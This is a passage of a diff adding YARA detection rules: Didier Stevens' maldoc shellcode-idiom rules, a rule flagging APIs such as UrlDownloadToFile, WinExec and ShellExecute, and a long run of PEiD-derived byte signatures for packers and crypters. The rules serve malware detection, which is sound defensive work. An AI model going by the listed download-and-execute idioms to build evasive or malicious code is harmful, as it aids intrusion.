+    condition:
+        any of them
+}
+
+rule maldoc_structured_exception_handling
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+    strings:
+        $a1 = {64 8B (05|0D|15|1D|25|2D|35|3D) 00 00 00 00}
+        $a2 = {64 A1 00 00 00 00}
+    condition:
+        any of them
+}
+/*
+rule maldoc_indirect_function_call_1
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+    strings:
+        $a = {FF 75 ?? FF 55 ??}
+    condition:
+        for any i in (1..#a): (uint8(@a[i] + 2) == uint8(@a[i] + 5))
+}
+*/
+/*
+rule maldoc_indirect_function_call_2
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+    strings:
+        $a = {FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ??}
+    condition:
+        for any i in (1..#a): ((uint8(@a[i] + 2) == uint8(@a[i] + 8)) and (uint8(@a[i] + 3) == uint8(@a[i] + 9)) and (uint8(@a[i] + 4) == uint8(@a[i] + 10)) and (uint8(@a[i] + 5) == uint8(@a[i] + 11)))
+}
+*/
+/*
+rule maldoc_indirect_function_call_3
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+    strings:
+        $a = {FF B7 ?? ?? ?? ?? FF 57 ??}
+    condition:
+        $a
+}
+*/
+
+rule maldoc_find_kernel32_base_method_1
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+    strings:
+        $a1 = {64 8B (05|0D|15|1D|25|2D|35|3D) 30 00 00 00}
+        $a2 = {64 A1 30 00 00 00}
+    condition:
+        any of them
+}
+/*
+rule maldoc_find_kernel32_base_method_2
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+    strings:
+        $a = {31 ?? ?? 30 64 8B ??}
+    condition:
+        for any i in (1..#a): ((uint8(@a[i] + 1) >= 0xC0) and (((uint8(@a[i] + 1) & 0x38) >> 3) == (uint8(@a[i] + 1) & 0x07)) and ((uint8(@a[i] + 2) & 0xF8) == 0xA0) and (uint8(@a[i] + 6) <= 0x3F) and (((uint8(@a[i] + 6) & 0x38) >> 3) != (uint8(@a[i] + 6) & 0x07)))
+}
+*/
+
+/*
+rule maldoc_find_kernel32_base_method_3
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+    strings:
+        $a = {68 30 00 00 00 (58|59|5A|5B|5C|5D|5E|5F) 64 8B ??}
+    condition:
+        for any i in (1..#a): (((uint8(@a[i] + 5) & 0x07) == (uint8(@a[i] + 8) & 0x07)) and (uint8(@a[i] + 8) <= 0x3F) and (((uint8(@a[i] + 8) & 0x38) >> 3) != (uint8(@a[i] + 8) & 0x07)))
+}
+*/
+
+/*
+rule maldoc_getEIP_method_1
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+    strings:
+        $a = {E8 00 00 00 00 (58|59|5A|5B|5C|5D|5E|5F)}
+    condition:
+        $a
+}
+*/
+rule maldoc_getEIP_method_4
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+    strings:
+        $a1 = {D9 EE D9 74 24 F4 (58|59|5A|5B|5C|5D|5E|5F)}
+        $a2 = {D9 EE 9B D9 74 24 F4 (58|59|5A|5B|5C|5D|5E|5F)}
+    condition:
+        any of them
+}
+
+rule maldoc_OLE_file_magic_number
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+    strings:
+        $a = {D0 CF 11 E0}
+    condition:
+        $a
+}
+
+rule maldoc_suspicious_strings
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+    strings:
+        $a01 = "CloseHandle"
+        $a02 = "CreateFile"
+        $a03 = "GetProcAddr"
+        $a04 = "GetSystemDirectory"
+        $a05 = "GetTempPath"
+        $a06 = "GetWindowsDirectory"
+        $a07 = "IsBadReadPtr"
+        $a08 = "IsBadWritePtr"
+        $a09 = "LoadLibrary"
+        $a10 = "ReadFile"
+        $a11 = "SetFilePointer"
+        $a12 = "ShellExecute"
+        $a13 = "UrlDownloadToFile"
+        $a14 = "VirtualAlloc"
+        $a15 = "WinExec"
+        $a16 = "WriteFile"
+    condition:
+        any of them
+}
+/*
+  Version 0.0.1 2016/05/14
+  Source code put in public domain by Didier Stevens, no Copyright
+  https://DidierStevens.com
+  Use at your own risk
+
+  Shortcomings, or todo's ;-) :
+
+  History:
+    2016/05/14: start
+*/
+
+import "pe"
+
+rule PE_File_pyinstaller
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+        description = "Detect PE file produced by pyinstaller"
+        reference = "https://blog.didierstevens.com/2016/05/16/new-yara-rule-pe_file_pyinstaller/"
+    strings:
+        $a = "pyi-windows-manifest-filename"
+    condition:
+        pe.number_of_resources > 0 and $a
+}
+/*
+  YARA rules generated with peid-userdb-to-yara-rules.py
+  https://DidierStevens.com
+  Use at your own risk
+
+  File: userdb.txt
+  --exclude: exclude.txt
+  --eponly: all
+  --pe: False
+  Generated: 2015/02/15 12:03:43
+*/
+
+rule PEiD_00001__EP__ExE_Pack__V1_0____Elite_Coding_Group_
+{
+    meta:
+        description = "[!EP (ExE Pack) V1.0 -> Elite Coding Group]"
+        ep_only = "true"
+    strings:
+        $a = {60 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10}
+    condition:
+        $a
+}
+
+rule PEiD_00002__EP_ExE_Pack__V1_0____6aHguT___g_l_u_k_
+{
+    meta:
+        description = "[!EP(ExE Pack) V1.0 -> 6aHguT & g-l-u-k]"
+        ep_only = "true"
+    strings:
+        $a = {60 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10 68 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? FF 10 68 ?? ?? ?? ?? 6A 40 FF D0 89 05 ?? ?? ?? ?? 89 C7 BE ?? ?? ?? ?? 60 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41}
+    condition:
+        $a
+}
+rule PEiD_00003__EP_ExE_Pack__V1_4_lite_b2____6aHguT___g_l_u_k_
+{
+    meta:
+        description = "[!EP(ExE Pack) V1.4 lite b2 -> 6aHguT & g-l-u-k]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45}
+    condition:
+        $a
+}
+
+rule PEiD_00004__EP_ExE_Pack__V1_4_lite_final____6aHguT___g_l_u_k_
+{
+    meta:
+        description = "[!EP(ExE Pack) V1.4 lite final -> 6aHguT & g-l-u-k]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 61 B8 ?? ?? ?? ?? FF E0 55 8B EC 60 55 8B 75 08 8B 7D 0C E8 02 00 00 00 EB 04 8B 1C 24 C3 81 C3 00 02 00 00 53 57 8B 07 89 03 83 C7 04 83 C3 04 4E 75 F3 5F 5E FC B2 80 8A 06 46 88 07 47 02 D2 75 05 8A 16 46 12 D2 73 EF 02 D2 75 05 8A 16 46 12}
+    condition:
+        $a
+}
+
+rule PEiD_00005__EPack_1_4_lite__final____by_6aHguT_
+{
+    meta:
+        description = "[!EPack 1.4 lite (final) - by 6aHguT]"
+        ep_only = "true"
+    strings:
+        $a = {33 C0 8B C0 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8}
+    condition:
+        $a
+}
+
+rule PEiD_00006__EPack_V1_4_lite_final____6aHguT_
+{
+    meta:
+        description = "[!EPack V1.4 lite final -> 6aHguT]"
+        ep_only = "true"
+    strings:
+        $a = {33 C0 8B C0 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? 00 00 00 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00007__pirit_v1_5_
+{
+    meta:
+        description = "[$pirit v1.5]"
+        ep_only = "true"
+    strings:
+        $a = {?? ?? ?? 5B 24 55 50 44 FB 32 2E 31 5D}
+    condition:
+        $a
+}
+rule PEiD_00008___PseudoSigner_0_2__Yoda_s_Protector_1_02______Anorganix_
+{
+    meta:
+        description = "[* PseudoSigner 0.2 [Yoda's Protector 1.02] --> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {E8 03 00 00 00 EB 01 90 90}
+    condition:
+        $a
+}
+
+rule PEiD_00009__BJFnt_v1_1b_
+{
+    meta:
+        description = "[.BJFnt v1.1b]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 EA 9C EB 01 EA 53 EB 01 EA 51 EB 01 EA 52 EB 01 EA 56}
+    condition:
+        $a
+}
+rule PEiD_00010__BJFnt_v1_2_RC_
+{
+    meta:
+        description = "[.BJFnt v1.2 RC]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 69 B1 83 EC 04 EB 03 CD 20 EB EB 01 EB 9C EB 01 EB EB}
+    condition:
+        $a
+}
+
+rule PEiD_00011__BJFnt_v1_3_
+{
+    meta:
+        description = "[.BJFnt v1.3]"
+        ep_only = "true"
+    strings:
+        $a = {EB 03 3A 4D 3A 1E EB 02 CD 20 9C EB 02 CD 20 EB 02 CD 20 60}
+    condition:
+        $a
+}
+rule PEiD_00012__BJFnt_v1_3_
+{
+    meta:
+        description = "[.BJFnt v1.3]"
+        ep_only = "true"
+    strings:
+        $a = {EB ?? 3A ?? ?? 1E EB ?? CD 20 9C EB ?? CD 20 EB ?? CD 20 60 EB}
+    condition:
+        $a
+}
+
+rule PEiD_00013__NET_DLL____Microsoft_
+{
+    meta:
+        description = "[.NET DLL -> Microsoft]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 5F 43 6F 72 44 6C 6C 4D 61 69 6E 00 6D 73 63 6F 72 65 65 2E 64 6C 6C 00 00 ?? 00 00 FF 25}
+    condition:
+        $a
+}
+rule PEiD_00014__NET_executable____Microsoft_
+{
+    meta:
+        description = "[.NET executable -> Microsoft]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 5F 43 6F 72 45 78 65 4D 61 69 6E 00 6D 73 63 6F 72 65 65 2E 64 6C 6C 00 00 00 00 00 FF 25}
+    condition:
+        $a
+}
+
+rule PEiD_00015__NET_executable_
+{
+    meta:
+        description = "[.NET executable]"
+        ep_only = "true"
+    strings:
+        $a = {FF 25 00 20 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00016_32Lite_v0_03a_
+{
+    meta:
+        description = "[32Lite v0.03a]"
+        ep_only = "true"
+    strings:
+        $a = {60 06 FC 1E 07 BE ?? ?? ?? ?? 6A 04 68 ?? 10 ?? ?? 68}
+    condition:
+        $a
+}
+rule PEiD_00017_3DMark_Database_file_
+{
+    meta:
+        description = "[3DMark Database file]"
+        ep_only = "false"
+    strings:
+        $a = {33 44 4D 61 72 6B 20 44 61 74 61 62 61 73 65 20 46 69 6C 65}
+    condition:
+        $a
+}
+
+rule PEiD_00018_624__Six_to_Four__v1_0_
+{
+    meta:
+        description = "[624 (Six to Four) v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {50 55 4C 50 83 ?? ?? FC BF ?? ?? BE ?? ?? B5 ?? 57 F3 A5 C3 33 ED}
+    condition:
+        $a
+}
+
+rule PEiD_00019__MSLRH__v32a____emadicius_
+{
+    meta:
+        description = "[[MSLRH] v32a -> emadicius]"
+        ep_only = "true"
+    strings:
+        $a = {EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF 0F 00 00 EB 01 68 EB 02 CD 20 EB 01 E8 76 1B EB 01 68 EB 02 CD 20 EB 01 E8 CC 66 B8 FE 00 74 04 75 02 EB 02 EB 01 81 66 E7 64 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31}
+    condition:
+        $a
+}
+
+rule PEiD_00020_A_program_by_Jupiter____
+{
+    meta:
+        description = "[A program by Jupiter ..]"
+        ep_only = "true"
+    strings:
+        $a = {2B C0 74 05 68 ?? ?? ?? ?? 50}
+    condition:
+        $a
+}
+
+rule PEiD_00021_A3E__TXT2COM__
+{
+    meta:
+        description = "[A3E (TXT2COM)]"
+        ep_only = "true"
+    strings:
+        $a = {1E 33 C0 50 BE ?? ?? 81 C6 ?? ?? B8 ?? ?? 8E C0 BF ?? ?? B9 ?? ?? F3 A5 CB}
+    condition:
+        $a
+}
+
+rule PEiD_00022_Aase_Crypter___by_santasdad_
+{
+    meta:
+        description = "[Aase Crypter - by santasdad]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 B8 A0 3E 00 10 E8 93 DE FF FF 68 F8 42 00 10 E8 79 DF FF FF 68 00 43 00 10 68 0C 43 00 10 E8 42 DF FF FF 50 E8 44 DF FF FF A3 98 66 00 10 83 3D 98 66 00 10 00 75 13 6A 00 68 18 43 00 10 68 1C 43 00 10 6A 00 E8 4B DF FF FF 68 2C 43 00}
+    condition:
+        $a
+}
+
+rule PEiD_00023_Aase_Crypter___by_santasdad_
+{
+    meta:
+        description = "[Aase Crypter - by santasdad]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 B8 A0 3E 00 10 E8 93 DE FF FF 68 F8 42 00 10 E8 79 DF FF FF 68 00 43 00 10 68 0C 43 00 10 E8 42 DF FF FF 50 E8 44 DF FF FF A3 98 66 00 10 83 3D 98 66 00 10 00 75 13 6A 00 68 18 43 00 10 68 1C 43 00 10 6A 00 E8 4B DF FF FF 68 2C 43 00 10 68 0C 43 ?? ?? ?? ?? DF FF FF 50 E8 0E DF FF FF A3 94 66 00 10 83 3D 94 66 00 10 00 75 13 6A 00 68 18 43 00 10 68 38 43 00 10 6A 00 E8 15 DF FF FF 68 48 43 00 10 68 0C 43 00 10 E8 D6 DE FF FF 50 E8 D8 DE FF FF A3 A0 66 00 10 83 3D A0 66 00 10 00 75 13 6A 00 68 18 43 00 10 68 58 43 00 10 6A 00 E8 DF DE FF FF 68 6C 43 00 10 68 0C 43 00 10 E8 A0 DE FF FF 50 E8 A2 DE FF FF}
+    condition:
+        $a
+}
+rule PEiD_00024_ABC_Cryptor_1_0___by_ZloY_
+{
+    meta:
+        description = "[ABC Cryptor 1.0 - by ZloY]"
+        ep_only = "true"
+    strings:
+        $a = {68 FF 64 24 F0 68 58 58 58 58 90 FF D4 50 8B 40 F2 05 B0 95 F6 95 0F 85 01 81 BB FF 68 ?? ?? ?? ?? BF 00 ?? ?? ?? B9 00 ?? ?? ?? 80 37 ?? 47 39 CF 75 F8}
+    condition:
+        $a
+}
+
+rule PEiD_00025_ACE_Archive_
+{
+    meta:
+        description = "[ACE Archive]"
+        ep_only = "false"
+    strings:
+        $a = {?? ?? ?? ?? ?? ?? ?? 2A 2A 41 43 45 2A 2A}
+    condition:
+        $a
+}
+
+rule PEiD_00026_AcidCrypt_
+{
+    meta:
+        description = "[AcidCrypt]"
+        ep_only = "true"
+    strings:
+        $a = {60 B9 ?? ?? ?? 00 BA ?? ?? ?? 00 BE ?? ?? ?? 00 02 38 40 4E 75 FA 8B C2 8A 18 32 DF C0 CB}
+    condition:
+        $a
+}
+
+rule PEiD_00027_AcidCrypt_
+{
+    meta:
+        description = "[AcidCrypt]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? ?? ?? 02 38 40 4E 75 FA 8B C2 8A 18 32 DF C0 CB}
+    condition:
+        $a
+}
+
+rule PEiD_00028_ACProtect_1_09g____Risco_software_Inc__
+{
+    meta:
+        description = "[ACProtect 1.09g -> Risco software Inc.]"
+        ep_only = "true"
+    strings:
+        $a = {60 F9 50 E8 01 00 00 00 7C 58 58 49 50 E8 01 00 00 00 7E 58 58 79 04 66 B9 B8 72 E8 01 00 00 00 7A 83 C4 04 85 C8 EB 01 EB C1 F8 BE 72 03 73 01 74 0F 81 01 00 00 00 F9 EB 01 75 F9 E8 01 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00029_ACProtect_1_4x____RISCO_soft_
+{
+    meta:
+        description = "[ACProtect 1.4x -> RISCO soft]"
+        ep_only = "false"
+    strings:
+        $a = {47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41 00 90 4D 69 6E 65 49 6D 70}
+    condition:
+        $a
+}
+rule PEiD_00030_ACProtect_1_4x____RISCO_soft_
+{
+    meta:
+        description = "[ACProtect 1.4x -> RISCO soft]"
+        ep_only = "false"
+    strings:
+        $a = {47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41 00 90 4D 69 6E 65 49 6D 70 6F 72 74 5F 45 6E 64 73 73 00}
+    condition:
+        $a
+}
+
+rule PEiD_00031_ACProtect_V1_3X____risco_
+{
+    meta:
+        description = "[ACProtect V1.3X -> risco]"
+        ep_only = "true"
+    strings:
+        $a = {60 50 E8 01 00 00 00 75 83}
+    condition:
+        $a
+}
+
+rule PEiD_00032_ACProtect_v1_41_
+{
+    meta:
+        description = "[ACProtect v1.41]"
+        ep_only = "true"
+    strings:
+        $a = {60 76 03 77 01 7B 74 03 75 01 78 47 87 EE E8 01 00 00 00 76 83 C4 04 85 EE EB 01 7F 85 F2 EB 01 79 0F 86 01 00 00 00 FC EB 01 78 79 02 87 F2 61 51 8F 05 19 38 01 01 60 EB 01 E9 E9 01 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00033_ACProtect_V1_4X____risco_
+{
+    meta:
+        description = "[ACProtect V1.4X -> risco]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 01 00 00 00 7C 83 04 24 06 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00034_ACProtect_v1_90g____Risco_software_Inc__
+{
+    meta:
+        description = "[ACProtect v1.90g -> Risco software Inc.]"
+        ep_only = "true"
+    strings:
+        $a = {60 0F 87 02 00 00 00 1B F8 E8 01 00 00 00 73 83 04 24 06 C3}
+    condition:
+        $a
+}
+rule PEiD_00035_ACProtect_UltraProtect_1_0X_2_0X____RiSco_
+{
+    meta:
+        description = "[ACProtect/UltraProtect 1.0X-2.0X -> RiSco]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00}
+    condition:
+        $a
+}
+
+rule PEiD_00036_ACProtect_UltraProtect_1_0X_2_0X____RiSco_
+{
+    meta:
+        description = "[ACProtect/UltraProtect 1.0X-2.0X -> RiSco]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 55 53 45 52 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41 00 90 4D 69 6E 65 49 6D 70 6F 72 74 5F 45 6E 64 73 73 00}
+    condition:
+        $a
+}
+
+rule PEiD_00037_ActiveMARK_5_x____Trymedia_Systems_Inc___h__
+{
+    meta:
+        description = "[ActiveMARK 5.x -> Trymedia Systems Inc. (h)]"
+        ep_only = "false"
+    strings:
+        $a = {20 2D 2D 4D 50 52 4D 4D 47 56 41 2D 2D 00 75 73 65 72 33 32 2E 64 6C 6C 00 4D 65 73 73 61 67 65 42 6F 78 41 00 54 68 69 73 20 61 70 70 6C 69 63 61 74 69 6F 6E 20 63 61 6E 6E 6F 74 20 72 75 6E 20 77 69 74 68 20 61 6E 20 61 63 74 69 76 65 20 64 65 62 75 67}
+    condition:
+        $a
+}
+
+rule PEiD_00038_ActiveMARK_5_x____Trymedia_Systems_Inc___h__
+{
+    meta:
+        description = "[ActiveMARK 5.x -> Trymedia Systems,Inc. (h)]"
+        ep_only = "false"
+    strings:
+        $a = {20 2D 2D 4D 50 52 4D 4D 47 56 41 2D 2D 00 75 73 65 72 33 32 2E 64 6C 6C 00 4D 65 73 73 61 67 65 42 6F 78 41 00 54 68 69 73 20 61 70 70 6C 69 63 61 74 69 6F 6E 20 63 61 6E 6E 6F 74 20 72 75 6E 20 77 69 74 68 20 61 6E 20 61 63 74 69 76 65 20 64 65 62 75 67 67 65 72 20 69 6E 20 6D 65 6D 6F 72 79 2E 0D 0A 50 6C 65 61 73 65 20 75 6E 6C 6F 61 64 20 74 68 65 20 64 65 62 75 67 67 65 72 20 61 6E 64 20 72 65 73 74 61 72 74 20 74 68 65 20 61 70 70 6C 69 63 61 74 69 6F 6E 2E 00 57 61 72 6E 69 6E 67}
+    condition:
+        $a
+}
+
+rule PEiD_00039_ActiveMARK_TM_
+{
+    meta:
+        description = "[ActiveMARK[TM]"
+        ep_only = "true"
+    strings:
+        $a = {79 11 7F AB 9A 4A 83 B5 C9 6B 1A 48 F9 27 B4 25}
+    condition:
+        $a
+}
+rule PEiD_00040_AdFlt2_
+{
+    meta:
+        description = "[AdFlt2]"
+        ep_only = "true"
+    strings:
+        $a = {68 00 01 9C 0F A0 0F A8 60 FD 6A 00 0F A1 BE ?? ?? AD}
+    condition:
+        $a
+}
+
+rule PEiD_00041_Adlib_Sample_Audio_file_
+{
+    meta:
+        description = "[Adlib Sample Audio file]"
+        ep_only = "false"
+    strings:
+        $a = {47 4F 4C 44 20 53 41 4D 50 4C 45}
+    condition:
+        $a
+}
+
+rule PEiD_00042_Ady_s_Glue_1_10_
+{
+    meta:
+        description = "[Ady's Glue 1.10]"
+        ep_only = "true"
+    strings:
+        $a = {2E ?? ?? ?? ?? 0E 1F BF ?? ?? 33 DB 33 C0 AC}
+    condition:
+        $a
+}
+
+rule PEiD_00043_Ady_s_Glue_v0_10_
+{
+    meta:
+        description = "[Ady`s Glue v0.10]"
+        ep_only = "true"
+    strings:
+        $a = {2E 8C 06 ?? ?? 0E 07 33 C0 8E D8 BE ?? ?? BF ?? ?? FC B9 ?? ?? 56 F3 A5 1E 07 5F}
+    condition:
+        $a
+}
+
+rule PEiD_00044_AHpack_0_1____FEUERRADER__h__
+{
+    meta:
+        description = "[AHpack 0.1 -> FEUERRADER (h)]"
+        ep_only = "true"
+    strings:
+        $a = {60 68 54 ?? ?? ?? B8 48 ?? ?? ?? FF 10 68 B3 ?? ?? ?? 50 B8 44 ?? ?? ?? FF 10 68 00 ?? ?? ?? 6A 40 FF D0 89 05 CA ?? ?? ?? 89 C7 BE 00 10 ?? ?? 60 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 10 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 29 D9 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 11 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 89 E8 B3 01 56 89 FE 29 C6 F3 A4 5E EB 8E 00 D2 75 05 8A 16 46 10 D2 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00045_AHPack_0_1____FEUERRADER_
+{
+    meta:
+        description = "[AHPack 0.1 -> FEUERRADER]"
+        ep_only = "true"
+    strings:
+        $a = {60 68 54 ?? ?? 00 B8 48 ?? ?? 00 FF 10 68 B3 ?? ?? 00 50 B8 44 ?? ?? 00 FF 10 68 00}
+    condition:
+        $a
+}
+
+rule PEiD_00046_AHpack_0_1____FEUERRADER_
+{
+    meta:
+        description = "[AHpack 0.1 -> FEUERRADER]"
+        ep_only = "true"
+    strings:
+        $a = {60 68 54 ?? ?? ?? B8 48 ?? ?? ?? FF 10 68 B3 ?? ?? ?? 50 B8 44 ?? ?? ?? FF 10 68 00 ?? ?? ?? 6A 40 FF D0 89 05 CA ?? ?? ?? 89 C7 BE 00 10 ?? ?? 60 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41}
+    condition:
+        $a
+}
+
+rule PEiD_00047_AINEXE_v2_1_
+{
+    meta:
+        description = "[AINEXE v2.1]"
+        ep_only = "true"
+    strings:
+        $a = {A1 ?? ?? 2D ?? ?? 8E D0 BC ?? ?? 8C D8 36 A3 ?? ?? 05 ?? ?? 36 A3 ?? ?? 2E A1 ?? ?? 8A D4 B1 04 D2 EA FE C9}
+    condition:
+        $a
+}
+
+rule PEiD_00048_AINEXE_v2_30_
+{
+    meta:
+        description = "[AINEXE v2.30]"
+        ep_only = "true"
+    strings:
+        $a = {0E 07 B9 ?? ?? BE ?? ?? 33 FF FC F3 A4 A1 ?? ?? 2D ?? ?? 8E D0 BC ?? ?? 8C D8}
+    condition:
+        $a
+}
+rule PEiD_00049_Alex_Protector_0_4_beta_1_by_Alex_
+{
+    meta:
+        description = "[Alex Protector 0.4 beta 1 by Alex]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 01 00 00 00 C7 83 C4 04 33 C9 E8 01 00 00 00 68 83 C4 04 E8 01 00 00 00 68 83 C4 04 B9 ?? 00 00 00 E8 01 00 00 00 68 83 C4 04 E8 00 00 00 00 E8 01 00 00 00 C7 83 C4 04 8B 2C 24 83 C4 04 E8 01 00 00 00 A9 83 C4 04 81 ED 3C 13 40 00 E8 01 00 00 00 68}
+    condition:
+        $a
+}
+
+rule PEiD_00050_Alex_Protector_1_0____Alex_
+{
+    meta:
+        description = "[Alex Protector 1.0 -> Alex]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 06 10 40 00 E8 24 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00051_Alex_Protector_1_0_beta_2_by_Alex_
+{
+    meta:
+        description = "[Alex Protector 1.0 beta 2 by Alex]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 06 10 40 00 E8 24 00 00 00 EB 01 E9 8B 44 24 0C EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 83 80 B8 00 00 00 02 33 C0 EB 01 E9 C3 58 83 C4 04 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 50 64 FF 35 00 00 00 00 64 89 25}
+    condition:
+        $a
+}
+
+rule PEiD_00052_Alex_Protector_1_0_beta_2_by_Alex_
+{
+    meta:
+        description = "[Alex Protector 1.0 beta 2 by Alex]"
+        ep_only = "true"
+    strings:
